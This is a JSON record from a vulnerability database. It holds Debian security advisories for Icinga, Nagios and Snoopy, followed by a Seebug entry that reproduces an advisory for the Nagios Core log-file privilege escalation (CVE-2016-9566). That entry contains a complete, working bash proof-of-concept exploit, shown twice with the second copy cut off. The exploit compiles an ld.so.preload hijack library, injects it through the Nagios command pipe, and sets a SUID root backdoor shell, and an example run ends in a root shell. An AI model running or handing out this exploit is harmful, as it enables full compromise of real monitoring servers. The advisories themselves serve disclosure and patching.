"type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-11-11T13:17:33", "bulletinFamily": "unix", "cvelist": ["CVE-2014-1878", "CVE-2013-7108"], "description": "Package : icinga\nVersion : 1.0.2-2+squeeze2\nCVE ID : CVE-2013-7108 CVE-2014-1878\n\nTwo fixes for the Classic UI:\n - fix off-by-one memory access in process_cgivars() (CVE-2013-7108)\n - prevent possible buffer overflows in cmd.cgi (CVE-2014-1878)\n", "edition": 7, "modified": "2014-09-24T16:15:08", "published": "2014-09-24T16:15:08", "id": "DEBIAN:DLA-60-1:5B1EB", "href": "https://lists.debian.org/debian-lts-announce/2014/debian-lts-announce-201409/msg00017.html", "title": "[SECURITY] [DLA 60-1] icinga security update", "type": "debian", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:P"}}, {"lastseen": "2020-08-12T01:09:34", "bulletinFamily": "unix", "cvelist": ["CVE-2013-7106", "CVE-2013-7107", "CVE-2014-1878", "CVE-2014-2386", "CVE-2013-7108"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2956-1 security@debian.org\nhttp://www.debian.org/security/ Moritz Muehlenhoff\nJune 11, 2014 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : icinga\nCVE ID : CVE-2013-7106 CVE-2013-7107 CVE-2013-7108 CVE-2014-1878 \n CVE-2014-2386\n\nMultiple security issues have been found in the Icinga host and network\nmonitoring system (buffer overflows, cross-site request forgery, off-by\nones) which could result in the execution of arbitrary code, denial of\nservice or session hijacking.\n\nFor the stable distribution (wheezy), these problems have been fixed in\nversion 1.7.1-7.\n\nFor the testing distribution (jessie), these problems have been fixed in\nversion 1.11.0-1.\n\nFor the unstable distribution (sid), these problems have been fixed in\nversion 1.11.0-1.\n\nWe recommend that you upgrade your icinga packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 7, "modified": "2014-06-11T14:34:43", "published": "2014-06-11T14:34:43", "id": "DEBIAN:DSA-2956-1:6D0D0", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2014/msg00136.html", "title": "[SECURITY] [DSA 2956-1] icinga security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-30T02:21:43", "bulletinFamily": "unix", "cvelist": ["CVE-2014-1878"], "description": "Package : nagios3\nVersion : 3.4.1-3+deb7u2\nCVE ID : CVE-2014-1878\n\n\nA stack-based buffer overflow in the cmd_submitf function in cgi/cmd.c\nin Nagios, a monitoring and management system for hosts, services and\nnetworks, allowed remote attackers to cause a denial of service\n(segmentation fault) via a long message to cmd.cgi.\n\nFor Debian 7 "Wheezy", this problem has been fixed in version\n3.4.1-3+deb7u2.\n\nWe recommend that you upgrade your nagios3 packages.\n", "edition": 3, "modified": "2016-05-07T19:25:30", "published": "2016-05-07T19:25:30", "id": "DEBIAN:DLA-461-1:5370A", "href": "https://lists.debian.org/debian-lts-announce/2016/debian-lts-announce-201605/msg00012.html", "title": "[SECURITY] [DLA 461-1] nagios3 security update", "type": "debian", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2019-05-30T02:23:08", "bulletinFamily": "unix", "cvelist": ["CVE-2014-5008"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3248-1 security@debian.org\nhttp://www.debian.org/security/ Moritz Muehlenhoff\nMay 02, 2015 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : libphp-snoopy\nCVE ID : CVE-2014-5008\n\nIt was discovered that missing input saniting in Snoopy, a PHP class that\nsimulates a web browser may result in the execution of arbitrary\ncommands.\n\nFor the oldstable distribution (wheezy), this problem has been fixed\nin version 2.0.0-1~deb7u1.\n\nFor the stable distribution (jessie), this problem was fixed before\nthe initial release.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.0.0-1.\n\nWe recommend that you upgrade your libphp-snoopy packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 2, "modified": "2015-05-02T14:55:17", "published": "2015-05-02T14:55:17", "id": "DEBIAN:DSA-3248-1:D3C86", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2015/msg00136.html", "title": "[SECURITY] [DSA 3248-1] libphp-snoopy security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-30T02:21:57", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "description": "Package : nagios3\nVersion : 3.4.1-3+deb7u3\nCVE ID : CVE-2016-9565 CVE-2016-9566\n\nNagios was found to be vulnerable to two security issues that, when\ncombined, lead to a remote root code execution vulnerability.\nFortunately, the hardened permissions of the Debian package limit the\neffect of those to information disclosure, but privilege escalation to\nroot is still possible locally.\n\nCVE-2016-9565\n\n Improper sanitization of RSS feed input enables unauthenticated\n remote read and write of arbitrary files which may lead to remote\n code execution if the web root is writable.\n\nCVE-2016-9566\n\n Unsafe logfile handling allows unprivileged users to escalate their\n privileges to root. In wheezy, this is possible only through the\n debug logfile which is disabled by default.\n\nFor Debian 7 "Wheezy", these problems have been fixed in version\n3.4.1-3+deb7u3.\n\nWe recommend that you upgrade your nagios3 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 3, "modified": "2016-12-17T01:29:20", "published": "2016-12-17T01:29:20", "id": "DEBIAN:DLA-751-1:6CD3C", "href": "https://lists.debian.org/debian-lts-announce/2016/debian-lts-announce-201612/msg00026.html", "title": "[SECURITY] [DLA 751-1] nagios3 security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "seebug": [{"lastseen": "2017-11-19T12:02:49", "description": "INTRODUCTION\r\n-------------------------\r\n\r\nNagios Core daemon in versions below 4.2.4 was found to perform unsafe \r\noperations when handling the log file. This could be exploited by \r\nmalicious local attackers to escalate their privileges from 'nagios' system user, \r\nor from a user belonging to 'nagios' group, to root.\r\nThe exploit could enable the attackers to fully compromise the system on which a \r\nvulnerable Nagios version was installed.\r\n\r\nTo obtain the necessary level of access, the attackers could use another \r\nNagios vulnerability discovered by the author of this advisory - CVE-2016-9565\r\nwhich has been linked in the references.\r\n\r\n DESCRIPTION\r\n-------------------------\r\n\r\nDefault installation of Nagios Core creates the log directory with the\r\nfollowing permissions: \r\n```\r\ndrwxrwsr-x 5 nagios nagios\r\n```\r\nNagios daemon was found to open the log file before dropping its root \r\nprivileges on startup:\r\n```\r\n8148 open(\"/usr/local/nagios/var/nagios.log\",\r\nO_RDWR|O_CREAT|O_APPEND, 0666) = 4\r\n8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0\r\n8148 fchown(4, 1001, 1001) = 0\r\n8148 getegid() = 0\r\n8148 setgid(1001) = 0\r\n8148 geteuid() = 0\r\n[...]\r\n```\r\nIf an attacker managed to gain access to an account of 'nagios' or any\r\nother account belonging to the 'nagios' group, they would be able to\r\nreplace the log file with a symlink to an arbitrary file on the system.\r\n\r\nThis vulnerability could be used by an attacker to escalate their privileges\r\nfrom nagios user/group to root for example by creating a malicious \r\n/etc/ld.so.preload file.\r\n\r\nThe file would be created with the following nagios permissions due to \r\nthe fchown operation shown above:\r\n```\r\n-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload\r\n```\r\nwhich would enable write access to the file for the 'nagios' user\r\nbut not the 'nagios' group.\r\n\r\n\r\nGaining write access to ld.so.preload as 'nagios' group\r\n\r\n\r\nIf the attacker managed to exploit the CVE-2016-9565 vulnerability explained at:\r\n\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nthey would gain access to www-data account belonging to 'nagios' group in case\r\nof a default Nagios install following the official Nagios setup guide:\r\n\r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n\r\nThis would not be enough to write to ld.so.preload file as 'nagios' group is \r\nonly allowed to read the log file.\r\n\r\nAttackers with access to 'nagios' group could however bypass the lack of \r\nwrite privilege by writing to Nagios external command pipe (nagios.cmd) which\r\nis writable by 'nagios' group by default:\r\n```\r\nprw-rw---- 1 nagios nagios 0 Dec 10 19:39 nagios.cmd\r\n```\r\nThe Nagios command pipe allows to communicate with Nagios daemon.\r\n\r\nBy sending an invalid command to the pipe, the attacker could bypass the lack \r\nof write permission and inject data to the log file (pointing to ld.so.preload).\r\n\r\nFor example, by running the command:\r\n```\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so \\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n```\r\nNagios daemon would append the following line to the log file:\r\n```\r\n[1481439996] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n```\r\nwhich would be enough to load a malicious library and escalate the privileges\r\nfrom a www-data user (belonging to 'nagios' group) to root upon a Nagios restart.\r\n\r\n#### Forcing restart of Nagios daemon\r\n\r\n\r\nAttackers could speed up the restart by using the Nagios command pipe once again\r\nto send a SHUTDOWN_PROGRAM command as follows:\r\n```\r\n/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n\r\n```\r\nV. PROOF OF CONCEPT EXPLOIT\r\n-------------------------\r\n\r\n-----------[ nagios-root-privesc.sh ]--------------\r\n```\r\n#!/bin/bash\r\n#\r\n# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit\r\n# nagios-root-privesc.sh (ver. 1.0)\r\n#\r\n# CVE-2016-9566\r\n#\r\n# Discovered and coded by:\r\n#\r\n# Dawid Golunski\r\n# dawid[at]legalhackers.com\r\n#\r\n# https://legalhackers.com\r\n#\r\n# Follow https://twitter.com/dawid_golunski for updates on this advisory\r\n#\r\n#\r\n# [Info]\r\n#\r\n# This PoC exploit allows privilege escalation from 'nagios' system account, \r\n# or an account belonging to 'nagios' group, to root (root shell).\r\n# Attackers could obtain such an account via exploiting another vulnerability,\r\n# e.g. CVE-2016-9565 linked below.\r\n#\r\n# [Exploit usage]\r\n#\r\n# ./nagios-root-privesc.sh path_to_nagios.log \r\n#\r\n#\r\n# See the full advisory for details at:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# Video PoC:\r\n# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# CVE-2016-9565:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n#\r\n# Disclaimer:\r\n# For testing purposes only. Do no harm.\r\n#\r\n\r\nBACKDOORSH=\"/bin/bash\"\r\nBACKDOORPATH=\"/tmp/nagiosrootsh\"\r\nPRIVESCLIB=\"/tmp/nagios_privesc_lib.so\"\r\nPRIVESCSRC=\"/tmp/nagios_privesc_lib.c\"\r\nSUIDBIN=\"/usr/bin/sudo\"\r\ncommandfile='/usr/local/nagios/var/rw/nagios.cmd'\r\n\r\nfunction cleanexit {\r\n\t# Cleanup \r\n\techo -e \"\\n[+] Cleaning up...\"\r\n\trm -f $PRIVESCSRC\r\n\trm -f $PRIVESCLIB\r\n\trm -f $ERRORLOG\r\n\ttouch $ERRORLOG\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\techo -n > /etc/ld.so.preload\r\n\tfi\r\n\techo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\r\n\texit $1\r\n}\r\n\r\nfunction ctrl_c() {\r\n echo -e \"\\n[+] Ctrl+C pressed\"\r\n\tcleanexit 0\r\n}\r\n\r\n#intro \r\n\r\necho -e \"\\033[94m \\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \\nnagios-root-privesc.sh (ver. 1.0)\\n\"\r\necho -e \"Discovered and coded by: \\n\\nDawid Golunski \\nhttps://legalhackers.com \\033[0m\"\r\n\r\n# Priv check\r\necho -e \"\\n[+] Starting the exploit as: \\n\\033[94m`id`\\033[0m\"\r\nid | grep -q nagios\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\\n\"\r\n\texit 3\r\nfi\r\n\r\n# Set target paths\r\nERRORLOG=\"$1\"\r\nif [ ! -f \"$ERRORLOG\" ]; then\r\n\techo -e \"\\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \\n\"\r\n\techo -e \"./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\\n\"\r\n\texit 3\r\nfi\r\n\r\n# [ Exploitation ]\r\n\r\ntrap ctrl_c INT\r\n# Compile privesc preload library\r\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\r\ncat <<_solibeof_>$PRIVESCSRC\r\n#define _GNU_SOURCE\r\n#include <stdio.h>\r\n#include <sys/stat.h>\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n #include <sys/types.h>\r\n #include <sys/stat.h>\r\n #include <fcntl.h>\r\n\r\nuid_t geteuid(void) {\r\n\tstatic uid_t (*old_geteuid)();\r\n\told_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\r\n\tif ( old_geteuid() == 0 ) {\r\n\t\tchown(\"$BACKDOORPATH\", 0, 0);\r\n\t\tchmod(\"$BACKDOORPATH\", 04777);\r\n\t\tunlink(\"/etc/ld.so.preload\");\r\n\t}\r\n\treturn old_geteuid();\r\n}\r\n_solibeof_\r\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\r\n\tcleanexit 2;\r\nfi\r\n\r\n\r\n# Prepare backdoor shell\r\ncp $BACKDOORSH $BACKDOORPATH\r\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\r\n\r\n# Safety check\r\nif [ -f /etc/ld.so.preload ]; then\r\n\techo -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\r\n\texit 2\r\nfi\r\n\r\n# Symlink the Nagios log file\r\nrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Couldn't remove the $ERRORLOG file or create a symlink.\"\r\n\tcleanexit 3\r\nfi\r\necho -e \"\\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \\n`ls -l $ERRORLOG`\"\r\n\r\n{\r\n# Wait for Nagios to get restarted\r\necho -ne \"\\n[+] Waiting for Nagios service to get restarted...\\n\"\r\necho -n \"Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] \"\r\nread THE_ANSWER\r\nif [ \"$THE_ANSWER\" = \"y\" ]; then\r\n\t/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > $commandfile\r\nfi\r\nsleep 3s\r\nps aux | grep -v grep | grep -i 'bin/nagios'\r\nif [ $? -ne 0 ]; then\r\n\techo -ne \"\\n[+] Nagios stopped. Shouldn't take long now... ;)\\n\"\r\nfi\r\nwhile :; do \r\n\tsleep 1 2>/dev/null\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\trm -f $ERRORLOG\r\n\t\tbreak;\r\n\tfi\r\ndone\r\n\r\necho -e \"\\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \\n`ls -l /etc/ld.so.preload`\"\r\n\r\n# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:\r\n# -rw-r--r-- 1 nagios nagios \r\n# Only 'nagios' user can write to it, but 'nagios' group can not.\r\n# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.\r\n# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe\r\n# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will\r\n# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)\r\n\r\nsleep 3s \t# Wait for Nagios to create the nagios.cmd pipe\r\nif [ ! -p $commandfile ]; then\r\n\techo -e \"\\n[!] Nagios command pipe $commandfile does not exist!\"\r\n\texit 2\r\nfi\t\r\necho -e \"\\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\"\r\nnow=`date +%s`\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \\n\" $now > $commandfile\r\nsleep 1s\r\ngrep -q \"$PRIVESCLIB\" /etc/ld.so.preload\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload | grep \"$PRIVESCLIB\"`\"\r\nelse\r\n\techo -e \"\\n[!] Unable to inject the lib to /etc/ld.so.preload\"\r\n\texit 2\r\nfi\r\n\r\n} 2>/dev/null\r\n\r\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\r\necho -e \"\\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary\"\r\nsudo 2>/dev/null >/dev/null\r\n\r\n# Check for the rootshell\r\nls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\r\n\techo -e \"\\n\\033[94mGot root via Nagios!\\033[0m\"\r\nelse\r\n\techo -e \"\\n[!] Failed to get root: \\n`ls -l $BACKDOORPATH`\"\r\n\tcleanexit 2\r\nfi\r\n\r\n# Use the rootshell to perform cleanup that requires root privileges\r\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\r\nrm -f $ERRORLOG\r\necho > $ERRORLOG\r\n\r\n# Execute the rootshell\r\necho -e \"\\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\\n\"\r\n$BACKDOORPATH -p -i\r\n\r\n# Job done.\r\ncleanexit 0\r\n\r\n```\r\n\r\n\r\n#### Example run\r\n\r\n```\r\nwww-data@debjessie:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n \r\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \r\nnagios-root-privesc.sh (ver. 1.0)\r\n\r\nDiscovered and coded by: \r\n\r\nDawid Golunski \r\nhttps://legalhackers.com \r\n\r\n[+] Starting the exploit as: \r\nuid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)\r\n\r\n[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)\r\n\r\n[+] Backdoor/low-priv shell installed at: \r\n-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh\r\n\r\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \r\nlrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload\r\n\r\n[+] Waiting for Nagios service to get restarted...\r\nDo you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y\r\n\r\n[+] Nagios stopped. Shouldn't take long now... ;)\r\n\r\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \r\n-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload\r\n\r\n[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\r\n\r\n[+] The /etc/ld.so.preload file now contains: \r\n[1481463869] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n\r\n[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary\r\n\r\n[+] Rootshell got assigned root SUID perms at: \r\n-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh\r\n\r\nGot root via Nagios!\r\n\r\n[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now\r\n\r\nnagiosrootsh-4.3# exit\r\nexit\r\n\r\n[+] Cleaning up...\r\n\r\n[+] Job done. Exiting with code 0 \r\n```\r\n\r\n\r\n#### Video PoC:\r\n\r\n\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\n\r\n\r\nBUSINESS IMPACT\r\n-------------------------\r\n\r\nAn attacker who has managed to gain access to 'nagios' account, or an account\r\nbelonging to 'nagios' group (which is the case in the CVE-2016-9565 scenario)\r\nto escalate their privileges to root and fully compromise the Nagios monitoring\r\nserver.", "published": "2016-12-16T00:00:00", "type": "seebug", "title": "Nagios Core < 4.2.4 - Root Privilege Escalation (CVE-2016-9566)", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "modified": "2016-12-16T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92575", "id": "SSV:92575", "sourceData": "\n #!/bin/bash\r\n#\r\n# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit\r\n# nagios-root-privesc.sh (ver. 1.0)\r\n#\r\n# CVE-2016-9566\r\n#\r\n# Discovered and coded by:\r\n#\r\n# Dawid Golunski\r\n# dawid[at]legalhackers.com\r\n#\r\n# https://legalhackers.com\r\n#\r\n# Follow https://twitter.com/dawid_golunski for updates on this advisory\r\n#\r\n#\r\n# [Info]\r\n#\r\n# This PoC exploit allows privilege escalation from 'nagios' system account, \r\n# or an account belonging to 'nagios' group, to root (root shell).\r\n# Attackers could obtain such an account via exploiting another vulnerability,\r\n# e.g. CVE-2016-9565 linked below.\r\n#\r\n# [Exploit usage]\r\n#\r\n# ./nagios-root-privesc.sh path_to_nagios.log \r\n#\r\n#\r\n# See the full advisory for details at:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# Video PoC:\r\n# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# CVE-2016-9565:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n#\r\n# Disclaimer:\r\n# For testing purposes only. Do no harm.\r\n#\r\n\r\nBACKDOORSH=\"/bin/bash\"\r\nBACKDOORPATH=\"/tmp/nagiosrootsh\"\r\nPRIVESCLIB=\"/tmp/nagios_privesc_lib.so\"\r\nPRIVESCSRC=\"/tmp/nagios_privesc_lib.c\"\r\nSUIDBIN=\"/usr/bin/sudo\"\r\ncommandfile='/usr/local/nagios/var/rw/nagios.cmd'\r\n\r\nfunction cleanexit {\r\n\t# Cleanup \r\n\techo -e \"\\n[+] Cleaning up...\"\r\n\trm -f $PRIVESCSRC\r\n\trm -f $PRIVESCLIB\r\n\trm -f $ERRORLOG\r\n\ttouch $ERRORLOG\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\techo -n > /etc/ld.so.preload\r\n\tfi\r\n\techo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\r\n\texit $1\r\n}\r\n\r\nfunction ctrl_c() {\r\n echo -e \"\\n[+] Ctrl+C pressed\"\r\n\tcleanexit 0\r\n}\r\n\r\n#intro \r\n\r\necho -e \"\\033[94m \\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \\nnagios-root-privesc.sh (ver. 1.0)\\n\"\r\necho -e \"Discovered and coded by: \\n\\nDawid Golunski \\nhttps://legalhackers.com \\033[0m\"\r\n\r\n# Priv check\r\necho -e \"\\n[+] Starting the exploit as: \\n\\033[94m`id`\\033[0m\"\r\nid | grep -q nagios\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\\n\"\r\n\texit 3\r\nfi\r\n\r\n# Set target paths\r\nERRORLOG=\"$1\"\r\nif [ ! -f \"$ERRORLOG\" ]; then\r\n\techo -e \"\\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \\n\"\r\n\techo -e \"./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\\n\"\r\n\texit 3\r\nfi\r\n\r\n# [ Exploitation ]\r\n\r\ntrap ctrl_c INT\r\n# Compile privesc preload library\r\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\r\ncat <<_solibeof_>$PRIVESCSRC\r\n#define _GNU_SOURCE\r\n#include <stdio.h>\r\n#include <sys/stat.h>\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n #include <sys/types.h>\r\n #include <sys/stat.h>\r\n #include <fcntl.h>\r\n\r\nuid_t geteuid(void) {\r\n\tstatic uid_t (*old_geteuid)();\r\n\told_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\r\n\tif ( old_geteuid() == 0 ) {\r\n\t\tchown(\"$BACKDOORPATH\", 0, 0);\r\n\t\tchmod(\"$BACKDOORPATH\", 04777);\r\n\t\tunlink(\"/etc/ld.so.preload\");\r\n\t}\r\n\treturn old_geteuid();\r\n}\r\n_solibeof_\r\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\r\n\tcleanexit 2;\r\nfi\r\n\r\n\r\n# Prepare backdoor shell\r\ncp $BACKDOORSH $BACKDOORPATH\r\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\r\n\r\n# Safety check\r\nif [ -f /etc/ld.so.preload ]; then\r\n\techo -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\r\n\texit 2\r\nfi\r\n\r\n# Symlink the Nagios log file\r\nrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Couldn't remove the $ERRORLOG file or create a symlink.\"\r\n\tcleanexit 3\r\nfi\r\necho -e \"\\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \\n`ls -l $ERRORLOG`\"\r\n\r\n{\r\n# Wait for Nagios to get restarted\r\necho -ne \"\\n[+] Waiting for Nagios service to get restarted...\\n\"\r\necho -n \"Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] \"\r\nread THE_ANSWER\r\nif [ \"$THE_ANSWER\" = \"y\" ]; then\r\n\t/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > $commandfile\r\nfi\r\nsleep 3s\r\nps aux | grep -v grep | grep -i 'bin/nagios'\r\nif [ $? -ne 0 ]; then\r\n\techo -ne \"\\n[+] Nagios stopped. Shouldn't take long now... ;)\\n\"\r\nfi\r\nwhile :; do \r\n\tsleep 1 2>/dev/null\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\trm -f $ERRORLOG\r\n\t\tbreak;\r\n\tfi\r\ndone\r\n\r\necho -e \"\\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \\n`ls -l /etc/ld.so.preload`\"\r\n\r\n# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:\r\n# -rw-r--r-- 1 nagios nagios \r\n# Only 'nagios' user can write to it, but 'nagios' group can not.\r\n# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.\r\n# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe\r\n# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will\r\n# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)\r\n\r\nsleep 3s \t# Wait for Nagios to create the nagios.cmd pipe\r\nif [ ! -p $commandfile ]; then\r\n\techo -e \"\\n[!] Nagios command pipe $commandfile does not exist!\"\r\n\texit 2\r\nfi\t\r\necho -e \"\\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\"\r\nnow=`date +%s`\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \\n\" $now > $commandfile\r\nsleep 1s\r\ngrep -q \"$PRIVESCLIB\" /etc/ld.so.preload\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload | grep \"$PRIVESCLIB\"`\"\r\nelse\r\n\techo -e \"\\n[!] Unable to inject the lib to /etc/ld.so.preload\"\r\n\texit 2\r\nfi\r\n\r\n} 2>/dev/null\r\n\r\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\r\necho -e \"\\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary\"\r\nsudo 2>/dev/null >/dev/null\r\n\r\n# Check for the rootshell\r\nls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\r\n\techo -e \"\\n\\033[94mGot root 